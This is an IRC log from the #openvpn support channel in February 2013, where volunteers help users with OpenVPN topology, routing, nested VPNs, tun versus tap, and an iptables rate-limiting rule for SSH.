11:25 <@krzee> …yes… it wont work
11:26 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
11:26 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
11:29 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving]
11:31 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
11:31 -!- mode/#openvpn [+o krzee] by ChanServ
11:36 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
11:46 < fys> fail2ban is quite powerful
11:46 < fys> heh
11:47 -!- samba35 [~shrikant@unaffiliated/samba35] has quit [Quit: Leaving]
12:02 -!- cek [~cek@crius.pantheon.fused.net] has joined #openvpn
12:10 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Remote host closed the connection]
12:13 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
12:17 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 246 seconds]
12:24 <+EugeneKay> iptables -A INPUT -m tcp -p tcp --dport 22 -m hashlimit --hashlimit-name ssh --hashlimit-upto 5/minute --hashlimit-mode srcip --hashlimit-srcmask 24 -j ACCEPT
12:25 <+EugeneKay> All of the log spam reduction, none of the background processes
12:25 <+EugeneKay> And it works on IPv6, too
12:26 <@krzee> !fail2ban in linux you can replace fail2ban without the background process with something like: iptables -A INPUT -m tcp -p tcp --dport 22 -m hashlimit --hashlimit-name ssh --hashlimit-upto 5/minute --hashlimit-mode srcip --hashlimit-srcmask 24 -j ACCEPT
12:26 <@krzee> err
12:26 <@krzee> !learn fail2ban as in linux you can replace fail2ban without the background process with something like: iptables -A INPUT -m tcp -p tcp --dport 22 -m hashlimit --hashlimit-name ssh --hashlimit-upto 5/minute --hashlimit-mode srcip --hashlimit-srcmask 24 -j ACCEPT
12:26 <@vpnHelper> Joo got it.
12:26 <+EugeneKay> ;-)
12:26 -!- Jonathan__ [~Jonathan@c-24-11-161-203.hsd1.mi.comcast.net] has quit [Read error: Connection reset by peer]
12:27 <@krzee> =]
12:27 <+EugeneKay> It's fairly crude, but damn if it don't work right
12:27 -!- Jonathan__ [~Jonathan@c-24-11-161-203.hsd1.mi.comcast.net] has joined #openvpn
12:30 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:38 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:48 < Holiday> if I'm setting up the --server script manually would it be better to use net30 or subnet (or does it matter) for the VPN "server ip" network to be .128/28 as mentioned above? (This is pretty much going to be OS X and Windows clients)
12:51 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 255 seconds]
12:56 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 260 seconds]
12:57 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
12:57 -!- Devastator [~devas@177-069-161-045.static.ctbctelecom.com.br] has joined #openvpn
12:57 -!- troker_ [~troker@129.63.254.84] has joined #openvpn
12:57 -!- troker_ [~troker@129.63.254.84] has quit [Remote host closed the connection]
12:58 -!- troker [~troker@bou62-129-63-62-124.dhcp.uml.edu] has quit [Read error: Connection reset by peer]
12:58 -!- troker [~troker@bou62-129-63-62-124.dhcp.uml.edu] has joined #openvpn
13:01 -!- Devastator [~devas@177-069-161-045.static.ctbctelecom.com.br] has quit [Changing host]
13:01 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
13:11 -!- ade_b [~Ade@host-78-65-176-141.homerun.telia.com] has joined #openvpn
13:11 -!- ade_b [~Ade@host-78-65-176-141.homerun.telia.com] has quit [Changing host]
13:11 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
13:15 -!- zz_AsadH is now known as AsadH
13:20 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
13:28 <+EugeneKay> subnet.
13:28 <+EugeneKay> /30 is a legacy hack for Windows clients
13:28 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:31 -!- Eagleman7 [~Eagleman@vpn.eagleman.net] has joined #openvpn
13:33 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 276 seconds]
13:40 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginmedia.com] has joined #openvpn
13:43 -!- Devastator [~devas@unaffiliated/devastator] has quit []
13:44 -!- cek [~cek@crius.pantheon.fused.net] has quit [Read error: Operation timed out]
13:45 -!- cek [~cek@crius.pantheon.fused.net] has joined #openvpn
13:50 < Holiday> EugeneKay: Thanks!
13:52 -!- cek [~cek@crius.pantheon.fused.net] has quit [Read error: Connection reset by peer]
13:57 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
13:59 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
14:00 -!- Eagleman7 [~Eagleman@vpn.eagleman.net] has quit []
14:25 < havoc> wow, 2.3.0 not even in Experimental yet
14:29 < havoc> checkinstall it is
14:30 < havoc> well, was gonna be anyway, I just wanted to re-verify the file structure
14:41 -!- ade_b [~Ade@78.65.176.141] has joined #openvpn
14:41 -!- ade_b [~Ade@78.65.176.141] has quit [Changing host]
14:41 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
14:43 -!- sedulous [~sedulous@unaffiliated/sed/x-0159859] has joined #openvpn
14:44 < sedulous> Hey. The change log for OpenVPN 2.3 says "full IPv6 support". Does that mean you can have a pure IPv6 VPN now?
14:44 < sedulous> (... on layer 3, it was already possible on layer 2 of course)
14:45 < sedulous> The last time I tried it, IPv6 on L3 with an address pool worked but you still had to use IPv4 in parallel
14:50 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
14:56 -!- jaimevg123 [~ingenieri@190.26.239.145] has joined #openvpn
15:13 -!- neilhwatson [~neil@cl-274.chi-03.us.sixxs.net] has quit [Ping timeout: 276 seconds]
15:18 -!- neilhwatson [~neil@cl-274.chi-03.us.sixxs.net] has joined #openvpn
15:19 -!- troker [~troker@bou62-129-63-62-124.dhcp.uml.edu] has quit [Quit: troker]
15:22 -!- amir_ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
15:22 -!- amir__ [~amir@178.209.43.160] has joined #openvpn
15:22 -!- amir__ [~amir@178.209.43.160] has quit [Changing host]
15:22 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
15:32 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
15:34 -!- william_ is now known as khem_
15:37 <@plaisthos> sedulous: still need to have a IPv4 address pool
15:37 <@plaisthos> sedulous: It is the first released version with IPv6 Layer3 support
15:47 <+EugeneKay> I don't think you're required to have ipv4 pool
15:50 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
15:53 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginmedia.com] has quit [Quit: Ex-Chat]
15:55 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
15:56 < sedulous> plaisthos: thnks
15:56 < sedulous> plaisthos: yes, what i tried a few month ago was 2.3_rc*
16:02 -!- MeanderingCode_ [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
16:02 -!- neilhwatson [~neil@cl-274.chi-03.us.sixxs.net] has quit [Quit: Leaving.]
16:02 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Ping timeout: 255 seconds]
16:04 -!- dazo is now known as dazo_afk
16:23 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
16:41 -!- jaimevg123 [~ingenieri@190.26.239.145] has left #openvpn []
16:42 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
16:43 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 248 seconds]
16:43 -!- Devastator [~devas@unaffiliated/devastator] has quit []
16:54 -!- mcp [~mcp@wolk-project.de] has quit [Ping timeout: 252 seconds]
17:01 -!- CrashTM [~CrashTM@cpe-98-144-34-109.wi.res.rr.com] has joined #openvpn
17:01 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
17:02 < CrashTM> I have a server with mutiple public ips, how might i go about configuring openvpn
17:03 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 260 seconds]
17:19 < pekster> You might configure openvpn to use one of your public IPs
17:25 < CrashTM> would that be in the client config?
17:25 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
17:26 < pekster> The client needs the IP or hostname resolving to the IP the server is listening on, yes
17:33 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has quit [Ping timeout: 276 seconds]
17:34 < CrashTM> ok so in my client config it says "remote 69.x.x.x 1194"
17:35 < CrashTM>  69.x.x.x is the first of the two ips if i change the 69.x.x.x to one of the other public ips for example 65.x.x.x the person connecting will get the ip 65.x.x.x and not 69.x.x.x
17:40 -!- lickalott_ [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
17:42 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
17:44 < CrashTM> ?
17:44 < pekster> I didn't see a question there
17:44 < CrashTM> Would that work?
17:45 < pekster> The connectiong person doesn't "get" the IP of your remote peer. Only 1 host can ever "have" a specific public IP
17:45 < pekster> You should try re-phrasing your question
17:45 -!- p3rror [~mezgani@2001:0:53aa:64c:3853:4c1b:d606:f491] has joined #openvpn
17:47 < CrashTM> what would i need to do to give a client a specific public ip
17:48 < pekster> Ah, that's the question you should have asked from the beginning if it's what you wanted
17:49 < CrashTM> sorry if i have not been clear
17:49 < pekster> If you get your IPs on this server via an Ethernet link, you may be better off providing a tap connection to the client. You can mess around with a 1:1 NAT, but that's a bit messy
17:50 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Quit: Laterz]
17:51 < pekster> You can't use tun and have the client hold the public IP directly across OpenVPN unless the traffic is routed to you; if the 2nd IP is expected to be on the Ethernet link, you need an actual Ethernet host connected to respond to the ARP
17:52 < CrashTM> well i already have the server running and wotking. It currently has 1 public ip. i wanted to see what i had to do if i added an ip inorder to use that added ip with my openvpn server, what would i need to do for that
17:54 -!- lickalott_ is now known as lickalott
17:55 < pekster> I'm not exactly sure what you're trying to do by givinig the client its own public IP across the VPN link, but you basically have 3 choices
17:55 < pekster> 1) Create an Ethernet bridge on the public interface of the server, and the client connects via tap to that bridge to get/set the IP
17:55 < pekster> 2) Have the server own both public IPs, give the client an rfc1918 IP across the VPN, and perform 1:1 NAT
17:56 < pekster> 3) Have the ISP route the 2nd IP to you instead of treating it on-link
18:04 -!- osirisx11 [~osiris@93.114.44.253] has joined #openvpn
18:04 < osirisx11> hi all, how can i force openvpn initialize after boot - and start my wifi also?
18:05 < osirisx11> and vpn info is stored on a portable drive that i would insert
18:05 < pekster> You'd need some OS-level magic to know when the USB drive was inserted and take action based on it; that doesn't really work "on boot" due to the dynamic nature of removable media
18:06 < pekster> Besides that point, configure openvpn to start however you'd like on that event and it'll just keep retrying if the network is down
18:12 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:17 < CrashTM> the idea behind my openvpn server is to pretty much obfuscate my personal ip
18:17 < CrashTM> i wanted to get a second ip from my host and add that to my openvpn server
18:18 < pekster> I just use a proxy to the same effect for proxy-aware applications (I've got a browser profile that uses FoxyProxy that connects to an IP on a rfc1918 VPN running on a hosted cloud server)
18:19 < pekster> You can do what you propose too, it just involves a bit more netwowrk stuff to set up
18:20 < CrashTM> any idea on how i might use that second ip with my openvpn server?
18:21 < pekster> ...
18:21 < pekster> I just told you your 3 choices. Pick one and implement it
18:21 -!- p3rror [~mezgani@2001:0:53aa:64c:3853:4c1b:d606:f491] has quit [Ping timeout: 245 seconds]
18:22 < CrashTM> sorry, i was unsure if my options changed fior what i wanted to do
18:22 < CrashTM> whaat do you think would be the best
18:22 < CrashTM> for*
18:22 < pekster> A proxy, which is why I suggested it. That doesn't quite meet your original stated goal, but it might achieve the same effect if your applications you intend to use are proxy-aware
18:23 < pekster> Otherwise, it all depends on your preference. tap involves less trickery, but you loose some efficiency due to larger headers and ARP traffic. tun+NAT is slightly more efficient but has the hassle of setting up NAT rules. routing is eaiser, but requires your ISP to support that
18:24  * pekster shrugs
18:24 < pekster> End of the day it all "works", just a matter of how you want to do it
18:24 < CrashTM> ah
18:24 < CrashTM> i would use a proxy but most of the programs that i use are not proxy aware
18:37 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has joined #openvpn
18:40 -!- osirisx11 [~osiris@93.114.44.253] has quit [Ping timeout: 245 seconds]
19:01 -!- p3rror [~mezgani@2001:0:53aa:64c:1c9f:6d6c:d606:f491] has joined #openvpn
19:06 -!- osirisx11 [~osiris@93.114.44.253] has joined #openvpn
19:12 -!- marcolepsy [~marcoleps@64-121-192-7.c3-0.eas-ubr2.atw-eas.pa.cable.rcn.com] has joined #openvpn
19:12 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
19:12 < marcolepsy> I have both OpenVPN and Hamachi VPNs configured on my Raspberry Pi (debian wheezy). Each routes traffic over separate interfaces (tun0 and ham0 respectively). Everything works fine except quite slow when run together. Not slow when run separately. Any ideas?
19:14 -!- osirisx11 [~osiris@93.114.44.253] has quit [Ping timeout: 276 seconds]
19:16 < pekster> marcolepsy: They're completely unrelated; there's no reason for one to interfere with another unless you're routing the encapsulating traffic for one VPN through another
19:16 < pekster> (which might happen transparently if, for example, you override the default gateway ine one)
19:22 < marcolepsy> It's strange... I start Hamachi first, then after it's up and running, I start OpenVPN. With consistently, my ping times go from 4 ms to 600 or so on average a few minutes after I start the OpenVPN daemon.
19:23 < pekster> pings to what? Taking what route?
19:24 < marcolepsy> Sorry, pings to another client in Hamachi mesh network.
19:24 < marcolepsy> ... going over the Hamachi interface
19:25 < pekster> I don't know anything about thte hamachi VPN. Sounds to me like perhaps you're messing with the gateway as part of your openvpn setup causing the encasulating protocol traffic for the other VPN to take a different route
19:25 < pekster> Just a guess though
19:30 < marcolepsy> Would "ip -s route get <ipaddress>" definitively tell me whether the route for that IP is affected? It does not change after starting Hamachi.
19:30 < marcolepsy> I've also run "traceroute <ip address>", and the result is the same both before and after.
19:31 < pekster> Won't help
19:31 -!- osirisx11 [~osiris@99-62-233-186.lightspeed.mdsnwi.sbcglobal.net] has joined #openvpn
19:32 < pekster> You need to know if the *encapsulating* protocol is being redirected, not the inside tunnel
19:32 -!- osirisx11 [~osiris@99-62-233-186.lightspeed.mdsnwi.sbcglobal.net] has quit [Client Quit]
19:32 < pekster> I have 12 hops to my IPv6 tunneling provider, but a trace treats it as "one hop" becuase it's occurring inside the tunnel
19:33 < pekster> Optionally, pastebin your server & client openvpn configs to see if you're messing with routes/gateways at all on connect
19:33 < marcolepsy> Ah, I see. Thanks. That doesn't solve my problem but is helpful for my understanding. I'm obsessing over more for sake of understanding what's going on than for any important practical reason.
19:34 < pekster> At the end of the day your issue isn't actually caused by openvpn, just how you're choosing to route across it. OpenVPN is not aware of or able to communicate with any other VPN protocol
19:34 < pekster> It can interact with your OS to a degree, including changing your routing table and calling external scripts/programs
19:35 < marcolepsy> Yes, I mean really I'm trying to skip routing across OpenVPN for this traffic altogether. I'd like to say, "don't touch any traffic sourced from or sent to this IP range".
19:36 < pekster> That's the defualt behaviour of openvpn; you need to explicitly configure it to route non-VPN-network traffic acrosss it
19:36 < pekster> (which is why I need to see server+client configs to say either way for you.)
19:37 < pekster> OpenVPN does not mess with your routes unless you ask it to (the virtual link expected, of coruse)
19:37 < pekster> excepted*
19:39 < pekster> Further reading can be found in the manpage under the directives: --route and --redirect-gateway
19:41 < marcolepsy> Well, I'm certainly not asking you to figure this out for me, but in case you'd like to see the configuration files, I'm using the unmodified files for UDP 53 from http://www.vpnbook.com/#pricing
19:41 <@vpnHelper> Title: VPNBook | 100% Free VPN Service - OpenVPN and PPTP (at www.vpnbook.com)
19:41 < marcolepsy> I will pastebin so you don't have to download the zip.
19:42 < pekster> That won't really help unless you have both sides of the config
19:42 < pekster> Directives can be pushed
19:42 < marcolepsy> Ah, nope, I don't. I see.
19:43 < pekster> You can avoid pulling some options, although that may break things you "expect" to happen when you connect
19:43 < pekster> Reading about that can be had in the manpage under these options: --route-nopull & --route-noexec
19:44 < pekster> !provider
19:44 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
19:45 -!- raidz is now known as raidz_away
19:46 < marcolepsy> Haha. I follow. Again, I'm not dying to get this working. I'm more interested in understanding what's going on to understand each of the two services a bit better, but even moreso tunneling more generally.
19:46 < marcolepsy> Thanks for providing some leads.
19:47 < pekster> You have a VPN in a VPN
19:48 < pekster> Traffic inside the inner VPN gets encapsulated in another protocol's packet. It then gets wrapped in another VPN protocl's packet and sent to that VPN peer. It decapsulates the first VPN's encasulating packet, and sends it to the destination. That peer then decausulates the traffic and sends it to the original destination
19:48 < pekster> It all works backwards for reply traffic
19:48 < pekster> Any one of those points could slow the traffic down
19:50 < marcolepsy> Ah, see I thought I had a VPN running *next to* another VPN, where they wouldn't interface or interfere with one another. Maybe I will pursue this with VPNBook to see if they can provide some explanation about what happens on their end. I doubt I will get much from Hamachi, although they do have a community forum.
19:52 < pekster> They're clearly pushing 'redirect-gateway'. Go read about how openvpn works, since they're not likely to change things for a single customer
19:52 < pekster> Log at 'verb 4' and view your logs to see exactly what's going on
19:52 < pekster> I gave you all the references you need to look up in the manpage
19:52 < pekster> (If you don't want that option, read about the override choices you have)
19:53 < pekster> Nothing to do with them if you want to change your config
19:53 < marcolepsy> Perfect. Thanks very much.
19:59 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
20:05 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 260 seconds]
20:14 -!- JPeterson [~JPeterson@213.103.210.215] has joined #openvpn
20:40 -!- ownermint [~owner@72-161-164-75.dyn.centurytel.net] has joined #openvpn
20:41 < ownermint> hello: I'm having with OSI Layer: 2 (ethernet bridging). http://pastebin.com/BVHd14kp any ideas?
20:42 < pekster> Firewall most likely
20:42 < pekster> Also, the obvious question "do you actually need bridging/tap" applies:
20:42 < pekster> !tunortap
20:42 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
20:42 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
20:42 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
20:43 < ownermint> Yes, #4 and I have tap installed on win 7 x64
20:44 < pekster> Depends on the game then, I suppose. Some games use network broadcasts, but if you don't mind using IPs or DNS, tun tends to work fine too (minus subnet "auto game discovery stuff.") That said, you may actually want tap, so that's a valid choice here
20:44 < pekster> Since you can ping the VPN server, you know connectivity is working. Sounds like a firewall, probably on the server, not forwarding the traffic
20:45 < pekster> Well, "forwarding" in the Layer 2 sense, not the IP/routing sense
20:45 < ownermint> this is an access server
20:45 < pekster> Then you're in the wrong place
20:45 < pekster> !as
20:45 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
20:45 < pekster> This channel is for the GPL OpenVPN project
20:45 < ownermint> ok thanks I see that now
20:46 -!- ownermint [~owner@72-161-164-75.dyn.centurytel.net] has left #openvpn ["Leaving"]
21:01 -!- CrashTM [~CrashTM@cpe-98-144-34-109.wi.res.rr.com] has quit [Ping timeout: 245 seconds]
21:11 -!- ownermint [~owner@72-161-164-75.dyn.centurytel.net] has joined #openvpn
21:11 < ownermint> !wins
21:11 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
21:16 -!- Guest20058 [~root@94.249.242.85] has joined #openvpn
21:17 -!- Guest20058 [~root@94.249.242.85] has left #openvpn []
21:18 -!- CrashTM [~CrashTM@98.144.34.109] has joined #openvpn
21:21 -!- ownermint [~owner@72-161-164-75.dyn.centurytel.net] has left #openvpn ["Leaving"]
21:32 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
21:39 -!- Netsplit *.net <-> *.split quits: MeanderingCode_, colo-work
21:47 -!- colo-work [~jt@78.142.138.4] has joined #openvpn
22:05 -!- p3rror [~mezgani@2001:0:53aa:64c:1c9f:6d6c:d606:f491] has quit [Ping timeout: 245 seconds]
22:10 -!- CrashTM [~CrashTM@98.144.34.109] has quit [Quit: Leaving]
22:23 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
--- Day changed Tue Feb 12 2013
01:07 -!- b1rkh0ff [~b1rkh0ff@178.77.7.226] has quit [Ping timeout: 276 seconds]
01:13 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
01:18 -!- b1rkh0ff [~b1rkh0ff@178.77.19.125] has joined #openvpn
01:19 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 248 seconds]
01:41 -!- k1ng [~k1ng@unaffiliated/k1ng] has quit [Quit: k1ngdom.net]
01:42 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
01:45 -!- k1ng [~k1ng@unaffiliated/k1ng] has joined #openvpn
01:47 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
01:49 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
02:17 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 252 seconds]
02:46 -!- dazo_afk is now known as dazo
03:01 -!- Sickness\ [~stront@unaffiliated/s-work] has quit [Read error: Operation timed out]
03:09 -!- marcolepsy [~marcoleps@64-121-192-7.c3-0.eas-ubr2.atw-eas.pa.cable.rcn.com] has quit [Ping timeout: 245 seconds]
03:16 -!- y4h0 [~yavor@78.128.23.17] has quit [Read error: Operation timed out]
03:18 -!- y4h0 [~yavor@78.128.23.17] has joined #openvpn
03:35 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
03:35 -!- y4h0 [~yavor@78.128.23.17] has quit [Ping timeout: 245 seconds]
03:36 -!- kobolduk [~kobolduk@178.22.82.249] has joined #openvpn
03:37 -!- AsadH is now known as zz_AsadH
03:38 -!- y4h0 [~yavor@78.128.23.17] has joined #openvpn
03:42 -!- brute11k1 [~brute11k@89.249.235.89] has joined #openvpn
03:43 -!- brute11k [~brute11k@89.249.235.89] has quit [Ping timeout: 245 seconds]
03:48 -!- kobolduk [~kobolduk@178.22.82.249] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
03:56 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
03:59 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
04:18 -!- zz_AsadH is now known as AsadH
04:30 -!- yavor_ [~yavor@78.128.23.17] has joined #openvpn
04:37 -!- Netsplit *.net <-> *.split quits: k1ng, y4h0
04:37 -!- MarKsaitis [~MarKsaiti@194.168.230.106] has joined #openvpn
04:37 -!- Netsplit over, joins: k1ng
04:41 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
04:41 -!- Devastator [~devas@unaffiliated/devastator] has quit []
04:42 -!- CaBa [caba@unaffiliated/caba] has joined #openvpn
04:42 < CaBa> hi
04:43 < CaBa> my vpn connection terminates after a flood of those messages in the client log:
04:43 < CaBa> Feb 12 11:42:15: write UDPv4: No buffer space available (code=55)
04:43 < CaBa> what causes this?
04:44 < pekster> Possibly a routing loop, according to:
04:44 < pekster> !buffer
04:44 <@vpnHelper> "buffer" is when you see write UDPv4: No buffer space available (code=55) you probably have a routing loop. the way to fix this is to get a book on basic networking, preferably a coloring book!
04:46 < CaBa> hm... well the connection actually holds up for quite a while, however, when i get a not of terminal output through an SSH session going through the VPN the connection reproducibly terminates
04:46 < CaBa> s/not/log/
04:46 < CaBa> s/not/lot/
04:46 < pekster> Oh, then probably not that suggestion
04:47 < CaBa> the vpn connection is nested in another (PPTP) vpn connection... maybe that makes things tricky
04:55 < pekster> Seemingly lots of results skewed towards OpenBSD online
04:55 < pekster> Does that happen to be your platform?
04:55 < pekster> fbsd too
04:57 < pekster> Maybe it's something weird in the way packets are being queued between the encapsulating VPN tun device and the device it's going to? The buffer is something huge like 9k that you shouldn't normally be filling up before it gets passed to the next layer
05:03 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
05:04 < CaBa> well, it's mac os so it's a "BSDish" backend...
05:06 < pekster> Yea, some mac results in the search too. It just suggests to me that this issue may be OS-specific
05:18 -!- RealRancor [~Rancor@mafiaforum.de] has quit [Ping timeout: 264 seconds]
05:26 < pekster> http://www.mail-archive.com/misc@openbsd.org/msg99875.html
05:26 <@vpnHelper> Title: OpenVPN and traceroute: UDPv4: No buffer space available [SOLVED] (at www.mail-archive.com)
05:26 < pekster> Maybe that's somewhat helpful
05:27 < pekster> Looks like some BSD queuing issue. That message is caused by the underlying packet-handnler of the OS returning the 'ENOBUFS' error, which implies that the device is unable to handle queuing any more data
05:28 < pekster> Not to say you need a fancy hfsc setup, but the stuff about qlimits are possibly relevant, as are your device queue sizes
05:29 < pekster> I had to increase the tun packet buffer up from the default of 100 on some Linux environments a job or two back due to queue limitations
05:46 < CaBa> thanks, i'll look into that
05:48 -!- folivora_ [~out@46.19.34.64] has joined #openvpn
05:48 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
05:49 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 240 seconds]
05:49 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 240 seconds]
05:49 -!- folivora [~out@46.19.34.64] has quit [Ping timeout: 240 seconds]
05:49 -!- sam1 [~sam@194-236-182-101.customer.telia.com] has quit [Ping timeout: 240 seconds]
05:49 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has quit [Ping timeout: 240 seconds]
05:49 -!- thermoman [~thermoman@idle.foobar0815.de] has quit [Ping timeout: 240 seconds]
05:50 -!- sw0rdfish [sw0rdfish@bouncing.users.since.2011.panicbnc.org] has joined #openvpn
05:50 -!- sam1 [~sam@194.236.182.101] has joined #openvpn
05:50 -!- thermoman [~thermoman@idle.foobar0815.de] has joined #openvpn
05:51 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
05:56 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:56 -!- [fred] [fred@konfuzi.us] has joined #openvpn
06:00 -!- MarKsaitis [~MarKsaiti@194.168.230.106] has quit [Ping timeout: 255 seconds]
06:00 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
06:03 -!- tMobile4a03 is now known as tyteen4a03
06:05 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Read error: Operation timed out]
06:05 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
06:35 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
06:35 -!- mode/#openvpn [+o plaisthos] by ChanServ
06:39 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 256 seconds]
06:51 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
07:01 -!- knobo [~bohmer@80.213.73.254] has joined #openvpn
07:02 < knobo> Do I have to specify the ip of the client in an vpn, or is it enough that the client spcify that it self?
07:03 -!- master_of_master [~master_of@p57B52D17.dip.t-dialin.net] has quit [Ping timeout: 260 seconds]
07:03 < knobo> Maybe I should use the tap, and not tun
07:04 < knobo> I have multiple clients connecting, and one server.
07:04 < knobo> The client should not route traffic between each other.
07:05 -!- master_of_master [~master_of@p57B53160.dip.t-dialin.net] has joined #openvpn
07:37 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 245 seconds]
07:37 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
07:39 <@ecrist> knobo: what are you trying to do?
07:39 <@ecrist> in most cases, tun is correct
07:39 <@ecrist> !goal
07:39 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
07:40 -!- bauruine [~stefan@91.236.116.112] has quit [Max SendQ exceeded]
07:41 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
07:42 -!- p3rror [~mezgani@2001:0:53aa:64c:3407:77b8:d673:9b9f] has joined #openvpn
07:44 -!- khem_ [~x@lotus.redl8.com] has left #openvpn []
07:45 < knobo> Goal: I have about 30 client computers sitting behind their own firewall, I shall monitor them with nagios on a cloud server. I have autossh/ppp-tunnel from the clients to the server today but it is not very stable. I want to change to openvpn.
07:45 <@ecrist> sounds like you need a regular ol' openvpn setup
07:45 <@ecrist> assign IPs from the VPN server, use a routed setup (not bridged)
07:46 < knobo> The clients tunnel adress is 192.168.1.x, and the server has 192.168.1.1
07:46 <@ecrist> I suggest a different address range
07:46 <@ecrist> !1918
